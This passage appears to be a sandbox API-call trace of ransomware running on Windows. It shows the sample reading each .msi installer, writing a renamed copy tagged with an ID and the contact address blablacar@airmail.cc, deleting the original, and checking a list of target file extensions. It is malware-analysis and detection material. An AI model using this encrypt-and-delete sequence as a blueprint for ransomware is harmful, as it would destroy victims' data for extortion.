(lpFileName="C:\\588bce7c90097ed212\\netfx_Core_x86.msi.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\588bce7c90097ed212\\netfx_core_x86.msi.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0089.273] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\netfx_Core_x86.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_core_x86.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0089.273] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37dfec0 | out: lpNewFilePointer=0x0) returned 1 [0089.273] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37dfec0 | out: lpNewFilePointer=0x0) returned 1 [0089.273] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\netfx_Core_x86.msi.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\588bce7c90097ed212\\netfx_core_x86.msi.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0089.274] GetLastError () returned 0x0 [0089.274] ReadFile (in: hFile=0x34c, lpBuffer=0x3df2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3df2020*, lpNumberOfBytesRead=0x37dfecc*=0xffff0, lpOverlapped=0x0) returned 1 [0089.301] WriteFile (in: hFile=0x328, lpBuffer=0x3df2020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x37dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3df2020*, lpNumberOfBytesWritten=0x37dfc94*=0xffff0, lpOverlapped=0x0) returned 1 [0089.661] ReadFile (in: hFile=0x34c, lpBuffer=0x3df2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3df2020*, lpNumberOfBytesRead=0x37dfecc*=0x1c010, lpOverlapped=0x0) returned 1 [0089.673] WriteFile (in: hFile=0x328, lpBuffer=0x3df2020*, nNumberOfBytesToWrite=0x1c020, lpNumberOfBytesWritten=0x37dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3df2020*, lpNumberOfBytesWritten=0x37dfc94*=0x1c020, lpOverlapped=0x0) returned 1 [0089.934] ReadFile (in: hFile=0x34c, lpBuffer=0x3df2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3df2020*, lpNumberOfBytesRead=0x37dfecc*=0x0, lpOverlapped=0x0) returned 1 [0089.934] WriteFile (in: hFile=0x328, lpBuffer=0x3df2020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x37dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3df2020*, lpNumberOfBytesWritten=0x37dfc94*=0xf8, lpOverlapped=0x0) returned 1 [0089.934] SetEndOfFile (hFile=0x328) returned 1 [0089.934] CloseHandle (hObject=0x328) returned 1 [0090.467] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37dfec0 | out: lpNewFilePointer=0x0) returned 1 [0090.467] SetEndOfFile (hFile=0x34c) returned 1 [0090.469] CloseHandle (hObject=0x34c) returned 1 [0090.469] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\netfx_Core_x86.msi.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x80) returned 1 [0090.469] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\netfx_Core_x86.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_core_x86.msi")) returned 1 [0090.470] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x86.msi") returned 40 [0090.470] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x86.msi") returned 40 [0090.470] lstrlenW (lpString=".doc") returned 4 [0090.470] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0090.470] lstrlenW (lpString=".docx") returned 5 [0090.470] lstrcmpiW (lpString1=".docx", lpString2="6.msi") returned -1 [0090.470] lstrlenW (lpString=".pdf") returned 4 [0090.470] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0090.470] lstrlenW (lpString=".xls") returned 4 [0090.470] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0090.470] lstrlenW (lpString=".xlsx") returned 5 [0090.470] lstrcmpiW (lpString1=".xlsx", lpString2="6.msi") returned -1 [0090.470] lstrlenW (lpString=".ppt") returned 4 [0090.470] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0090.470] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x86.msi") returned 40 [0090.470] lstrlenW (lpString=".zip") returned 4 [0090.470] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0090.470] lstrlenW (lpString=".rar") returned 4 [0090.470] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0090.470] lstrlenW (lpString=".bz2") returned 4 [0090.470] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0090.470] lstrlenW (lpString=".7z") returned 3 [0090.470] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0090.470] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x86.msi") returned 40 [0090.470] lstrlenW (lpString=".dbf") returned 4 [0090.470] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0090.470] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x86.msi") returned 40 [0090.471] lstrlenW (lpString=".1cd") returned 4 [0090.471] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0090.471] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x86.msi") returned 40 [0090.471] lstrlenW (lpString=".jpg") returned 4 [0090.471] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0090.471] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x86.msi") returned 40 [0090.471] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x86.msi") returned 40 [0090.471] lstrlenW (lpString=".doc") returned 4 [0090.471] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0090.471] lstrlenW (lpString=".docx") returned 5 [0090.471] lstrcmpiW (lpString1=".docx", lpString2="6.msi") returned -1 [0090.471] lstrlenW (lpString=".pdf") returned 4 [0090.471] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0090.471] lstrlenW (lpString=".xls") returned 4 [0090.471] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0090.471] lstrlenW (lpString=".xlsx") returned 5 [0090.471] lstrcmpiW (lpString1=".xlsx", lpString2="6.msi") returned -1 [0090.471] lstrlenW (lpString=".ppt") returned 4 [0090.471] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0090.471] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x86.msi") returned 40 [0090.471] lstrlenW (lpString=".zip") returned 4 [0090.471] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0090.471] lstrlenW (lpString=".rar") returned 4 [0090.471] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0090.471] lstrlenW (lpString=".bz2") returned 4 [0090.471] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0090.472] lstrlenW (lpString=".7z") returned 3 [0090.472] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0090.472] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x86.msi") returned 40 [0090.472] lstrlenW (lpString=".dbf") returned 4 [0090.472] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0090.472] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x86.msi") returned 40 [0090.472] lstrlenW (lpString=".1cd") returned 4 [0090.472] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0090.472] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x86.msi") returned 40 [0090.472] lstrlenW (lpString=".jpg") returned 4 [0090.472] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0090.472] lstrcmpiW (lpString1=".msi", lpString2=".kr") returned 1 [0090.472] lstrlenW (lpString="netfx_Extended_x64.msi") returned 22 [0090.472] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_extended_x64.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0090.473] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x37dff14 | out: lpFileSize=0x37dff14*=872448) returned 1 [0090.473] CloseHandle (hObject=0x34c) returned 1 [0090.473] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_extended_x64.msi")) returned 0x80 [0090.473] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\588bce7c90097ed212\\netfx_extended_x64.msi.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0090.473] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_extended_x64.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0090.474] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37dfec0 | out: lpNewFilePointer=0x0) returned 1 [0090.474] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37dfec0 | out: lpNewFilePointer=0x0) returned 1 [0090.474] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\588bce7c90097ed212\\netfx_extended_x64.msi.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0090.474] GetLastError () returned 0x0 [0090.474] ReadFile (in: hFile=0x34c, lpBuffer=0x3df2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3df2020*, lpNumberOfBytesRead=0x37dfecc*=0xd5000, lpOverlapped=0x0) returned 1 [0090.498] WriteFile (in: hFile=0x328, lpBuffer=0x3df2020*, nNumberOfBytesToWrite=0xd5010, lpNumberOfBytesWritten=0x37dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3df2020*, lpNumberOfBytesWritten=0x37dfc94*=0xd5010, lpOverlapped=0x0) returned 1 [0091.183] ReadFile (in: hFile=0x34c, lpBuffer=0x3df2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3df2020*, lpNumberOfBytesRead=0x37dfecc*=0x0, lpOverlapped=0x0) returned 1 [0091.184] WriteFile (in: hFile=0x328, lpBuffer=0x3df2020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x37dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3df2020*, lpNumberOfBytesWritten=0x37dfc94*=0x100, lpOverlapped=0x0) returned 1 [0091.184] SetEndOfFile (hFile=0x328) returned 1 [0091.184] CloseHandle (hObject=0x328) returned 1 [0091.202] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37dfec0 | out: lpNewFilePointer=0x0) returned 1 [0091.202] SetEndOfFile (hFile=0x34c) returned 1 [0091.524] CloseHandle (hObject=0x34c) returned 1 [0091.524] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x80) returned 1 [0091.525] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_extended_x64.msi")) returned 1 [0091.526] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi") returned 44 [0091.526] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi") returned 44 [0091.526] lstrlenW (lpString=".doc") returned 4 [0091.526] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0091.527] lstrlenW (lpString=".docx") returned 5 [0091.527] lstrcmpiW (lpString1=".docx", lpString2="4.msi") returned -1 [0091.527] lstrlenW (lpString=".pdf") returned 4 [0091.527] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0091.527] lstrlenW (lpString=".xls") returned 4 [0091.527] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0091.527] lstrlenW (lpString=".xlsx") returned 5 [0091.527] lstrcmpiW (lpString1=".xlsx", lpString2="4.msi") returned -1 [0091.527] lstrlenW (lpString=".ppt") returned 4 [0091.527] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0091.527] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi") returned 44 [0091.527] lstrlenW (lpString=".zip") returned 4 [0091.527] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0091.527] lstrlenW (lpString=".rar") returned 4 [0091.527] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0091.527] lstrlenW (lpString=".bz2") returned 4 [0091.527] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0091.527] lstrlenW (lpString=".7z") returned 3 [0091.527] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0091.527] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi") returned 44 [0091.527] lstrlenW (lpString=".dbf") returned 4 [0091.527] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0091.527] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi") returned 44 [0091.527] lstrlenW (lpString=".1cd") returned 4 [0091.527] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0091.527] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi") returned 44 [0091.527] lstrlenW (lpString=".jpg") returned 4 [0091.528] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0091.528] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi") returned 44 [0091.528] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi") returned 44 [0091.528] lstrlenW (lpString=".doc") returned 4 [0091.528] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0091.528] lstrlenW (lpString=".docx") returned 5 [0091.528] lstrcmpiW (lpString1=".docx", lpString2="4.msi") returned -1 [0091.528] lstrlenW (lpString=".pdf") returned 4 [0091.528] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0091.528] lstrlenW (lpString=".xls") returned 4 [0091.528] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0091.528] lstrlenW (lpString=".xlsx") returned 5 [0091.528] lstrcmpiW (lpString1=".xlsx", lpString2="4.msi") returned -1 [0091.528] lstrlenW (lpString=".ppt") returned 4 [0091.528] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0091.528] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi") returned 44 [0091.528] lstrlenW (lpString=".zip") returned 4 [0091.529] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0091.529] lstrlenW (lpString=".rar") returned 4 [0091.529] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0091.529] lstrlenW (lpString=".bz2") returned 4 [0091.529] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0091.529] lstrlenW (lpString=".7z") returned 3 [0091.529] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0091.529] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi") returned 44 [0091.529] lstrlenW (lpString=".dbf") returned 4 [0091.529] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0091.529] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi") returned 44 [0091.529] lstrlenW (lpString=".1cd") returned 4 [0091.529] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0091.529] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi") returned 44 [0091.529] lstrlenW (lpString=".jpg") returned 4 [0091.529] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0091.529] lstrcmpiW (lpString1=".msi", lpString2=".kr") returned 1 [0091.529] lstrlenW (lpString="RGB9RAST_x64.msi") returned 16 [0091.529] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi" (normalized: "c:\\588bce7c90097ed212\\rgb9rast_x64.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0091.530] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x37dff14 | out: lpFileSize=0x37dff14*=184832) returned 1 [0091.530] CloseHandle (hObject=0x34c) returned 1 [0091.530] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi" (normalized: "c:\\588bce7c90097ed212\\rgb9rast_x64.msi")) returned 0x80 [0091.530] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\588bce7c90097ed212\\rgb9rast_x64.msi.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0091.530] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi" (normalized: "c:\\588bce7c90097ed212\\rgb9rast_x64.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0091.530] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37dfec0 | out: lpNewFilePointer=0x0) returned 1 [0091.530] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37dfec0 | out: lpNewFilePointer=0x0) returned 1 [0091.530] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\588bce7c90097ed212\\rgb9rast_x64.msi.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0091.531] GetLastError () returned 0x0 [0091.531] ReadFile (in: hFile=0x34c, lpBuffer=0x3df2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3df2020*, lpNumberOfBytesRead=0x37dfecc*=0x2d200, lpOverlapped=0x0) returned 1 [0091.536] WriteFile (in: hFile=0x328, lpBuffer=0x3df2020*, nNumberOfBytesToWrite=0x2d210, lpNumberOfBytesWritten=0x37dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3df2020*, lpNumberOfBytesWritten=0x37dfc94*=0x2d210, lpOverlapped=0x0) returned 1 [0091.541] ReadFile (in: hFile=0x34c, lpBuffer=0x3df2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3df2020*, lpNumberOfBytesRead=0x37dfecc*=0x0, lpOverlapped=0x0) returned 1 [0091.541] WriteFile (in: hFile=0x328, lpBuffer=0x3df2020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x37dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3df2020*, lpNumberOfBytesWritten=0x37dfc94*=0xf4, lpOverlapped=0x0) returned 1 [0091.541] SetEndOfFile (hFile=0x328) returned 1 [0091.541] CloseHandle (hObject=0x328) returned 1 [0091.549] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37dfec0 | out: lpNewFilePointer=0x0) returned 1 [0091.549] SetEndOfFile (hFile=0x34c) returned 1 [0091.552] CloseHandle (hObject=0x34c) returned 1 [0091.553] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x80) returned 1 [0091.554] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi" (normalized: "c:\\588bce7c90097ed212\\rgb9rast_x64.msi")) returned 1 [0091.554] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi") returned 38 [0091.554] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi") returned 38 [0091.554] lstrlenW (lpString=".doc") returned 4 [0091.554] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0091.554] lstrlenW (lpString=".docx") returned 5 [0091.554] lstrcmpiW (lpString1=".docx", lpString2="4.msi") returned -1 [0091.554] lstrlenW (lpString=".pdf") returned 4 [0091.554] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0091.554] lstrlenW (lpString=".xls") returned 4 [0091.554] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0091.555] lstrlenW (lpString=".xlsx") returned 5 [0091.555] lstrcmpiW (lpString1=".xlsx", lpString2="4.msi") returned -1 [0091.555] lstrlenW (lpString=".ppt") returned 4 [0091.555] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0091.555] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi") returned 38 [0091.555] lstrlenW (lpString=".zip") returned 4 [0091.555] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0091.555] lstrlenW (lpString=".rar") returned 4 [0091.555] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0091.555] lstrlenW (lpString=".bz2") returned 4 [0091.555] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0091.555] lstrlenW (lpString=".7z") returned 3 [0091.555] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0091.555] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi") returned 38 [0091.555] lstrlenW (lpString=".dbf") returned 4 [0091.555] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0091.555] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi") returned 38 [0091.555] lstrlenW (lpString=".1cd") returned 4 [0091.555] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0091.555] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi") returned 38 [0091.555] lstrlenW (lpString=".jpg") returned 4 [0091.555] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0091.556] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi") returned 38 [0091.556] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi") returned 38 [0091.556] lstrlenW (lpString=".doc") returned 4 [0091.556] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0091.556] lstrlenW (lpString=".docx") returned 5 [0091.556] lstrcmpiW (lpString1=".docx", lpString2="4.msi") returned -1 [0091.556] lstrlenW (lpString=".pdf") returned 4 [0091.556] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0091.556] lstrlenW (lpString=".xls") returned 4 [0091.556] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0091.556] lstrlenW (lpString=".xlsx") returned 5 [0091.556] lstrcmpiW (lpString1=".xlsx", lpString2="4.msi") returned -1 [0091.556] lstrlenW (lpString=".ppt") returned 4 [0091.556] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0091.556] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi") returned 38 [0091.556] lstrlenW (lpString=".zip") returned 4 [0091.556] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0091.557] lstrlenW (lpString=".rar") returned 4 [0091.557] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0091.557] lstrlenW (lpString=".bz2") returned 4 [0091.557] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0091.557] lstrlenW (lpString=".7z") returned 3 [0091.557] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0091.557] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi") returned 38 [0091.557] lstrlenW (lpString=".dbf") returned 4 [0091.557] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0091.557] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi") returned 38 [0091.557] lstrlenW (lpString=".1cd") returned 4 [0091.557] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0091.557] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi") returned 38 [0091.557] lstrlenW (lpString=".jpg") returned 4 [0091.557] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0091.557] lstrcmpiW (lpString1=".msi", lpString2=".kr") returned 1 [0091.558] lstrlenW (lpString="RGB9Rast_x86.msi") returned 16 [0091.558] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi" (normalized: "c:\\588bce7c90097ed212\\rgb9rast_x86.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0091.558] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x37dff14 | out: lpFileSize=0x37dff14*=94720) returned 1 [0091.558] CloseHandle (hObject=0x34c) returned 1 [0091.558] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi" (normalized: "c:\\588bce7c90097ed212\\rgb9rast_x86.msi")) returned 0x80 [0091.558] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\588bce7c90097ed212\\rgb9rast_x86.msi.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0091.558] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi" (normalized: "c:\\588bce7c90097ed212\\rgb9rast_x86.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0091.559] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37dfec0 | out: lpNewFilePointer=0x0) returned 1 [0091.559] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37dfec0 | out: lpNewFilePointer=0x0) returned 1 [0091.559] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\588bce7c90097ed212\\rgb9rast_x86.msi.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0091.559] GetLastError () returned 0x0 [0091.559] ReadFile (in: hFile=0x34c, lpBuffer=0x3df2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3df2020*, lpNumberOfBytesRead=0x37dfecc*=0x17200, lpOverlapped=0x0) returned 1 [0091.565] WriteFile (in: hFile=0x328, lpBuffer=0x3df2020*, nNumberOfBytesToWrite=0x17210, lpNumberOfBytesWritten=0x37dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3df2020*, lpNumberOfBytesWritten=0x37dfc94*=0x17210, lpOverlapped=0x0) returned 1 [0091.568] ReadFile (in: hFile=0x34c, lpBuffer=0x3df2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3df2020*, lpNumberOfBytesRead=0x37dfecc*=0x0, lpOverlapped=0x0) returned 1 